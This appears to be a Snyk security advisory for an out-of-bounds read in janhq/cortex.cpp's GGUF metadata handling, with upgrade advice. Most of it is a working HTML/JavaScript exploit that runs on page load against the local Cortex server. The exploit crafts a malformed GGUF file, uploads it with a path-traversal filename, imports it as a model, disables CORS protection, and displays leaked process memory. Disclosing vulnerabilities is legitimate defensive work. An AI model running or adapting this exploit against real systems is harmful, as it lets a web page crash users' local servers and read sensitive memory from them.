Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade janhq/cortex.cpp
to version 1.0.11-rc11 or higher.
Affected versions of this package are vulnerable to Out-of-bounds Read by missing validation of a metadata string’s size and a metadata array’s length in a GGUF file uploaded to the server. This can cause the server to crash (Denial-of-Serivce DoS) or read sensitive data from the process memory.
<html>
<head>
<meta charset="UTF-8">
<title>Cortex.cpp OOB read3r!</title>
</head>
<body>
<h1> Cortex.cpp OOB read3r!</h1>
<textarea id="output" style="width: 560px; height: 560px;"></textarea>
<script>
function createGGUF(leakLength) {
const GGUF_MAGIC = new Uint8Array([...new TextEncoder().encode("GGUF"), 0x03]);
const nameKey = new TextEncoder().encode("general.name");
let header = new Uint8Array(32);
header.set(GGUF_MAGIC, 0);
new DataView(header.buffer).setUint32(16, 1, true);
new DataView(header.buffer).setUint32(24, nameKey.length, true);
let metadata = new Uint8Array(nameKey.length + 12);
metadata.set(nameKey, 0);
new DataView(metadata.buffer).setUint32(nameKey.length, 0x8, true);
new DataView(metadata.buffer).setUint32(nameKey.length + 4, leakLength, true);
let ggufBuffer = new Uint8Array(header.length + metadata.length);
ggufBuffer.set(header, 0);
ggufBuffer.set(metadata, header.length);
return ggufBuffer;
}
// #1 - Upload crafted GGUF file.
async function uploadGGUF(){
const leakLength = 0x1000;
let payload = createGGUF(leakLength);
const formData = new FormData()
formData.append('file', new Blob([payload], { type: "application/octet-stream" }), "../../oob.gguf")
formData.append('purpose', 'assistants')
await fetch('http://127.0.0.1:39281/v1/files', {
method: 'POST',
mode: 'no-cors',
body: formData
});
}
// #2 - Import model.
async function importModel(){
try {
await fetch("http://127.0.0.1:39281/v1/models/import", {
method: "POST",
headers: {"Content-Type": "application/json"},
body: JSON.stringify({
"model": "oob-read-4",
"modelPath": "~/oob.gguf",
"name": "", // Must be empty for our data to leak.
"option": "symlink"
})
});
} catch(error) {
console.log(`CORS error triggered but that's fine - model imported!`);
}
}
// #3 - Disable CORS.
async function disableCORS() {
await fetch("http://127.0.0.1:39281/v1/configs", {
method: "PATCH",
headers: {"Content-Type": "application/json"},
body: JSON.stringify({
"cors": true,
"allowed_origins": ["*"]
})
});
}
// #4 - Leak data.
async function leakData() {
let res = await fetch("http://127.0.0.1:39281/v1/models/oob-read-4", {
method: "GET",
headers: {"Content-Type": "application/json"}
});
let oobJSON = await res.json();
document.getElementById("output").textContent = hexy(oobJSON?.name);
}
// Run exploit.
(async () => {
let steps = [uploadGGUF, importModel, disableCORS, leakData];
for (const s of steps) {
await s();
}
})();
</script>
</body>
</html>